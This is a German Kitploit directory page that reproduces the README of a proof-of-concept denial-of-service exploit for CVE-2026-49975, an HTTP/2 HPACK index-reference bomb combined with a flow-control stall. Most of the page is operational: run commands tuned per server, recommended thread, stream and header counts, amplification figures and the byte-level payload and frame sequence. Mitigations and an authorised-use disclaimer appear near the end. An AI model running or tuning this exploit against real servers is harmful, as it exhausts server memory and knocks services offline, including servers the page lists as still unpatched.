Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
CVE-2026-49975-POC — HTTP/2 Bomb PoC — CVE-2026-49975 (HPACK-Indexreferenz-Bombe + Flow-Control-Stillstand) | Kitploit
Tools/GitHubGitHub/mrx-arafat/cve-2026-49975-poc
SchwachstellenanalyseExploitationWebsicherheitNetzwerksicherheitPenetrationstests
GitHubmrx-arafat/cve-2026-49975-poc

CVE-2026-49975-POC

HTTP/2 Bomb PoC — CVE-2026-49975 (HPACK-Indexreferenz-Bombe + Flow-Control-Stillstand)

Repository anzeigen
298vor 2 MonatenVon Kitploit geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

CVE-2026-49975 — HTTP/2-Bomben-PoC

CVE Severity Python

Proof-of-Concept-Exploit für CVE-2026-49975, eine Remote-Denial-of-Service-Schwachstelle in HTTP/2-Serverimplementierungen. Entdeckt von Quang Luong (Calif Security Research), offengelegt am 2. Juni 2026.

Nur für autorisierte Sicherheitstests. Verwenden Sie es nicht gegen Infrastruktur, die Ihnen nicht gehört oder für die Sie keine schriftliche Genehmigung zum Testen haben.


So funktioniert es

Der Angriff verkettet zwei HTTP/2-Protokollmechanismen:

1. HPACK-Bombe mit indizierten Referenzen

HPACK (RFC 7541) ermöglicht es Sendern, zuvor gesehene Header per Index zu referenzieren — normalerweise ein Byte. Der Exploit fügt einmalig einen nahezu leeren Header in die dynamische Tabelle ein und referenziert ihn dann tausende Male. Jede 1-Byte-Referenz auf der Leitung zwingt den Server, etwa 70 Bytes internen Verwaltungsaufwand pro Eintrag zu allokieren. Da keine großen Werte beteiligt sind, greifen die Limits für die „max decoded header size“ nie.

2. Stillstand des HTTP/2-Flusskontrollfensters

Indem der Angreifer ein Empfangsfenster von null Bytes ankündigt, verhindert er, dass der Server seine Antwort sendet oder Speicher freigibt. Periodische 1-Byte-WINDOW_UPDATE-Frames setzen den Sende-Timeout des Servers zurück und halten die Allokationen aufrecht, solange die Verbindung geöffnet ist.

Ergebnis: ~16 KB pro Stream gesendet → ~1,15 MB Server-RAM pro Stream, allokiert und gehalten.


Betroffene Server


Verwendung

Keine Abhängigkeiten — nur die Standardbibliothek.

root@kitploit:~
# Basic test (single connection)
python3 exploit-test.py target.com 443

# nginx-specific bookkeeping bomb (recommended for nginx targets)
python3 exploit-test.py target.com 443 --mode nginx --threads 50 --streams 30 --headers 16374

# Apache/Envoy cookie-crumb technique
python3 exploit-test.py target.com 443 --mode classic --threads 20 --streams 30 --headers 5000

# HTTP/2 cleartext (rare — most servers require TLS for h2)
python3 exploit-test.py target.com 80 --no-ssl

Argumente

Schätzung der RAM-Belastung

root@kitploit:~
total_streams = threads × streams
server_ram_mb = total_streams × headers × amplification_bytes / 1024²

# nginx example: 50 × 30 × 16374 × 70 / 1024² = ~1,647 MB

Optimale Einstellungen je nach Ziel


Prüfen, ob ein Ziel verwundbar ist

root@kitploit:~
# Confirm HTTP/2 support and server version
curl -sv --http2 https://target.com/ 2>&1 | grep -E "ALPN|HTTP/2|server:"

# Vulnerable if:
# - ALPN: server accepted h2   (HTTP/2 enabled)
# - server: nginx/X.Y.Z        (where X.Y.Z < 1.29.8)

Gegenmaßnahmen

nginx — auf 1.29.8+ aktualisieren und Folgendes hinzufügen:

root@kitploit:~
http2 max_headers 1000;

Oder HTTP/2 vollständig deaktivieren:

root@kitploit:~
# Remove "http2" from listen directive
listen 443 ssl;

Apache httpd — mod_http2 auf v2.0.41+ aktualisieren. Zwischenlösung: Protocols http/1.1

IIS / Envoy / Pingora — zum Zeitpunkt der Erstellung ist kein Patch verfügbar. HTTP/2 deaktivieren oder einen gepatchten Proxy vorschalten.

Allgemein (alle Server):

root@kitploit:~
# Cap worker memory to limit blast radius
ulimit -v 2097152   # 2 GB per process
# Docker: --memory="2g" --memory-swap="2g"

Technische Details

HPACK-Kodierung

root@kitploit:~
Dynamic table seed (incremental indexing, adds to index 62):
  0x40 | name_len | name | value_len | value
  = 0x40 0x06 "x-bomb" 0x00

Indexed reference to entry 62 (1 byte each):
  0x80 | 62 = 0xbe

Wire payload per stream = 9 bytes (seed) + N bytes (N references)
Server allocation per ref ≈ sizeof(ngx_table_elt_t) ≈ 70 bytes

HTTP/2-Frame-Sequenz

root@kitploit:~
Client → Server:
  PRI * HTTP/2.0\r\n\r\nSM\r\n\r\n     (preface)
  SETTINGS [INITIAL_WINDOW_SIZE=0]      (stall setup)
  SETTINGS ACK                          (after reading server SETTINGS)
  HEADERS [stream 1]  ← bomb payload   (pseudo-headers + HPACK bomb)
  HEADERS [stream 3]  ← bomb payload
  ...
  WINDOW_UPDATE(1) per stream / 1s      (keep-alive stall)

Dateien

DateiBeschreibung
exploit-test.pyHaupt-PoC — Multi-Stream, kontinuierliche Wiederverbindung, nginx- und Classic-Modi
SECURITY-REPORT-MIST.mdAutorisierter Bewertungsbericht für mist.ac.bd
LICENSEMIT

Referenzen

  • CVE-2026-49975
  • RFC 7541 §7.3 — HPACK Memory Consumption
  • RFC 9113 §8.2.3 — Cookie header splitting
  • CVE-2016-6581 — Ursprüngliche HPACK-Bombe (Cory Benfield, 2016)
  • CVE-2025-53020 — Apache HPACK 4000:1 (Gal Bar Nahum, 2025)
Tool herunterladen
ServerVerstärkungDemo-AuswirkungStatus
Envoy 1.37.2~5.700:132 GB in ~10 sKein Patch zum Zeitpunkt der Offenlegung
Apache httpd 2.4.67~4.000:132 GB in ~18 sBehoben in mod_http2 v2.0.41
nginx < 1.29.8~70:132 GB in ~45 sBehoben in nginx 1.29.8
Microsoft IIS (WS 2025)~68:164 GB in ~45 sKein Patch zum Zeitpunkt der Offenlegung
Cloudflare Pingora~68:1—Kein Patch zum Zeitpunkt der Offenlegung
FlagStandardBeschreibung
target—Hostname oder IP
port443TCP-Port
--threads1Parallele Verbindungen (jede verbindet sich nach dem Schließen neu)
--streams10HTTP/2-Streams pro Verbindung
--headers5000HPACK-indizierte Referenzen pro Stream
--modenginxnginx (Verwaltungsaufwand, 70:1) oder classic (großer Wert, 4000:1)
--no-ssloffTLS deaktivieren (h2c)
ZielModus--headersHinweise
nginx < 1.29.8nginx16374Bleibt innerhalb des Standardwerts http2_max_header_size 16k
Apache httpdclassic5000Cookie-Crumb-Technik
Envoyclassic32000Hohe Verstärkung